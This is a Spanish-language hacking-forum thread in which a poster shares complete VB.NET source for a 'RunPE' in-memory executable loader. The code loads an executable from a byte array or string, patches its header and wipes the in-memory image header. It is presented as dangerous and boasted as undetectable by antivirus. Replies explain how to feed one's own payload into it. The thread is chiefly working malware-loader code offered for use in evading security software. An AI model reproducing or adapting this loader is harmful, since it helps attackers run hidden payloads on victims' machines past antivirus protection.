Underc0de

Programación General => C# - VB.NET => Mensaje iniciado por: 79137913 en Febrero 06, 2020, 01:53:11 PM

Título: [SOURCE] RunPE VB.NET
Publicado por: 79137913 en Febrero 06, 2020, 01:53:11 PM
HOLA!!!

Esta vez no les traigo una tool de hacking en si misma, sino algo mucho mas... peligroso Jajaja.

Esto que veremos aqui es un codigo completo para ubicar en un Modulo de nuestro proyecto de VB.NET con la capacidad de ejecutar en memoria un archivo EXE (o cualquier otro ejecutable con estructura PE) que anteriormente hayamos convertido en un byte array o bien un string que contenga el byte array.

Este codigo aparte de tener el clasico RunPE posee un pequeño snippet que permite convertir un string en un byte array, para los curiosos les recomiendo experimentar con esa funcion.

Ahora nos vamos al codigo:
Código (vbnet) [Seleccionar]
'By 79137913 for Underc0de
'Thanks to ANTRAX

Imports System.Reflection
Imports System.Runtime.InteropServices
Imports System.Security
Imports System.Threading

Module PE79137913
    <DllImport("kernel32.dll")>
    Private Sub RtlZeroMemory(ByVal address As IntPtr, ByVal size As Integer)
    End Sub
    <SuppressUnmanagedCodeSecurity>
    Private Delegate Function ExecuteAssembly(ByVal sender As Object, ByVal parameters As Object()) As Object

    'Llama esta funcion para ejecutar tu exe convertido a Byte Array.
    Sub Ejecutar(ByVal buffer As Byte())
        Dim Llave As Integer = BitConverter.ToInt32(buffer, 60)
        buffer(Llave + 920) = CByte(2)
        Dim ParametrosEx As Object() = Nothing
        Dim Ejecutable As Assembly = Thread.GetDomain().Load(buffer)
        Dim PuntoDeEntrada As MethodInfo = Ejecutable.EntryPoint
        If PuntoDeEntrada.GetParameters().Length > 0 Then
            ParametrosEx = New Object() {New String() {Nothing}}
        End If

        Dim HiloDeEjecucion As Thread = New Thread(
            Sub()
                Thread.BeginThreadAffinity()
                Thread.BeginCriticalRegion()
                Dim EjecutarEjecutable As ExecuteAssembly = New ExecuteAssembly(AddressOf PuntoDeEntrada.Invoke)
                EjecutarEjecutable(Nothing, ParametrosEx)
                Thread.EndCriticalRegion()
                Thread.EndThreadAffinity()
            End Sub
            )

        If ParametrosEx IsNot Nothing Then
            If ParametrosEx.Length > 0 Then
                HiloDeEjecucion.SetApartmentState(ApartmentState.MTA)
            Else
                HiloDeEjecucion.SetApartmentState(ApartmentState.STA)
            End If
        End If
        RtlZeroMemory(Marshal.GetHINSTANCE(Ejecutable.ManifestModule), 32)
        HiloDeEjecucion.Start()
    End Sub

    'Usa esta funcion para ejecutar tu exe en forma de String
    Sub Ejecutar(ByVal strBuffer As String)
        Dim Buffer As Byte() = StrToByte(strBuffer)
        Ejecutar(Buffer) 'Ejecuta la cadena de texto convertida a Byte Array
    End Sub

    'Funcion auxiliar para convertir el String en un Byte Array
    Private Function StrToByte(ByVal buffer As String) As Byte()
        Dim ByteBufferEx As Byte() = New Byte(buffer.Length - 1) {}
        For i As Integer = 0 To buffer.Length - 1
            ByteBufferEx(i) = CByte(Val(buffer(i)))
        Next
        Return ByteBufferEx
    End Function
End Module


P.D.: El presente codigo es [FUD] al dia de la fecha, no se cuanto dure, pero por ahora solo lo detecta avira. Disfruten!

GRACIAS POR LEER!!!
Título: Re:[SOURCE] RunPE VB.NET
Publicado por: Solid Water en Marzo 12, 2020, 11:24:45 AM
Está muy padre no necesitas guardarlo en el disco puedes correrlo directamente en la memoria.
Título: Re:[SOURCE] RunPE VB.NET
Publicado por: 79137913 en Marzo 13, 2020, 08:19:25 AM
HOLA!!!

Exacto, esa es la esencia de un RunPE

Para que se entienda Run viene de correr o ejecutar y PE de Portable Executable

GRACIAS POR LEER!!!
Título: Re:[SOURCE] RunPE VB.NET
Publicado por: Mazza123 en Octubre 15, 2020, 06:15:38 PM
Hola buenas tardes , como hago para ejecutar ese runpe??, donde tengo que pegar mi opcode??
Título: Re:[SOURCE] RunPE VB.NET
Publicado por: 79137913 en Octubre 19, 2020, 08:59:36 AM
HOLA!!!

Si tu opcode esta en texto haces asi:
Ejecutar(StrToByte(TU_OPCODE))

Si tu opcode esta en byte array haces asi:
Ejecutar(TU_OPCODE)

GRACIAS POR LEER!!!
Título: Re:[SOURCE] RunPE VB.NET
Publicado por: Mazza123 en Octubre 25, 2020, 04:26:40 PM
 ;D ;D Gracias por ayudarme amigo. me sirvio mucho tu respuesta